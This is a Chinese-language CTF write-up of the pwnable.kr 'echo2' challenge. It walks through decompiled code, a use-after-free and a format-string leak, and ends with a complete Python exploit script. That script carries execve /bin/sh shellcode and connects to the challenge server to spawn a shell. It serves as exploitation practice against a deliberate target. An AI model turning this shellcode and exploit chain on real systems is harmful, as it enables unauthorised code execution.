pwnable.kr 上的 echo2 是一个存在 UAF & FSB 漏洞的题目。
通过 IDA F5 得到源码,列出几个关键函数:

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int *v3; // rsi@1
  void *v4; // rax@1
  int v6; // [sp+Ch] [bp-24h]@1
  _QWORD v7[4]; // [sp+10h] [bp-20h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc(0x28uLL);
  *((_QWORD *)o + 3) = greetings;
  *((_QWORD *)o + 4) = byebye;
  printf("hey, what's your name? : ", 0LL);
  v3 = (int *)v7;
  __isoc99_scanf(4197406LL, v7);
  v4 = o;
  *(_QWORD *)o = v7[0];
  *((_QWORD *)v4 + 1) = v7[1];
  *((_QWORD *)v4 + 2) = v7[2];
  id = LODWORD(v7[0]);
  getchar();
  func[0] = (__int64)echo1;
  qword_602088 = (__int64)echo2;
  qword_602090 = (__int64)echo3;
  v6 = 0;
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("\n- select echo type -");
        puts("- 1. : BOF echo");
        puts("- 2. : FSB echo");
        puts("- 3. : UAF echo");
        puts("- 4. : exit");
        printf("> ", v3);
        v3 = &v6;
        __isoc99_scanf(4197496LL, &v6);
        getchar();
        if ( (unsigned int)v6 > 3 )
          break;
        ((void (__fastcall *)(signed __int64, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])(4197496LL, &v6);
      }
      if ( v6 == 4 )
        break;
      puts("invalid menu");
    }
    cleanup();
    printf("Are you sure you want to exit? (y/n)", &v6);
    v6 = getchar();
  }
  while ( v6 != 121 );
  puts("bye");
  return 0;
}

echo3

__int64 echo3()
{
  char *s; // ST08_8@1

  (*(void (__fastcall **)(void *))((void (__fastcall **)(_QWORD))o + 3))(o);
  s = (char *)malloc(0x20uLL);
  get_input(s, 32LL);
  puts(s);
  free(s);
  (*(void (__fastcall **)(void *, signed __int64))((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL);
  return 0LL;
}

cleanup

void cleanup()
{
  free(o);
}

分析主函数流程,可知触发 UAF 的流程为:

  • 选择 4,进入 cleanup 函数, free 变量 o
  • 选择 n,取消退出,这时候的 o 变量已经被 free
  • 选择 3,输入 0x20 个字符
  • 输入的内容被分配到原来变量 o 的地址上,覆盖了 goodbye 函数的地址,触发 UAF


现在有一个任意 call 了,但是暂时并没有什么卵用。因为并不能 call 一个 system,或者做一些奇怪的事情。
然而我充满经♂验的大锐锐说可以在 name 里写 shellcode。

看这一句:

   0x40099e <main+142>: mov    rsi,rdx
   0x4009a1 <main+145>: mov    rdi,rax
=> 0x4009a4 <main+148>: mov    eax,0x0
   0x4009a9 <main+153>: call   0x4006a0 <__isoc99_scanf@plt>

看一下 rdi:

gdb-peda$ x/10s $rdi
0x400c1e:    "%24s"

有 24 个字节的输入空间,然而好像 IDA 并没有反编译出来这个,所以被蒙蔽了/w\ .. 
24 个字节足够放下 shellcode 了,由于是 scanf,不能出现 \x0a,\x0b,所以找一个符合条件的 shellcode:https://www.exploit-db.com/exploits/36858/

#include <stdio.h>
#include <string.h>

int
main(void)
{
  char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
    "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";

  printf("strlen(shellcode)=%d\n", strlen(shellcode));

  ((void (*)(void))shellcode)();

  return 0;
}

现在就差 leak 出 name 在栈上的地址了。
由于 echo2 函数有一个 FSB,所以可以通过 FSB 来 leak。

leak 出来的地址为 0x7ffffffffe6b0,在栈上寻找我们 name 的内容,地址为 0x7fffffffe6f0,正好为 0x40 个字节的偏移量。

gdb-peda$ x/10b 0x7fffffffe6b0 + 0x40
0x7fffffffe6f0:  'a' <repeats 14 times>
0x7fffffffe6ff:  ""
0x7fffffffe700:  "\360\347\377\377\377\177"
0x7fffffffe707:  ""
0x7fffffffe708:  ""
0x7fffffffe709:  ""
0x7fffffffe70a:  ""
0x7fffffffe70b:  ""
0x7fffffffe70c:  ""
0x7fffffffe70d:  ""

所以现在我们可以执行任意代码了。
重新梳理流程:

  1. 输入 name 时写 shellcode
  2. 通过 FSB leak rsp,接着加上 0x40 字节的偏移量,到 shellcode 的地址上
  3. 通过 UAF,覆盖 goodbye 的地址为 shellcode 的地址
  4. 得到 shell,大成功(๑•̀ㅂ•́)و✧

最终 exploit 为:

import sys
import socket
from zio import *

shellcode = ""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"

io = zio(('pwnable.kr', 9011), timeout=9999999)
#io = zio('./echo2' ,timeout=9999999)
io.read_until(':')

io.writeline(shellcode)
io.read_until('> ')

io.writeline('2')
io.read_until('\n')
io.writeline('%3$x')
data = io.read_until('\n')
name_addr = int('0x7fff%s' % data, 16) + 0x40
print '-' * 10, data
io.read_until('> ')

io.writeline('4')
io.read_until(')')
io.writeline('n')
io.read_until('> ')
io.writeline('3')
io.read_until('\n')
io.writeline('aaaaaaaa' + 'bbbbbbbb' + 'cccccccc' + l64(name_addr))
io.read_until('> ')
io.writeline('2')
io.read_until('\n')
io.interact()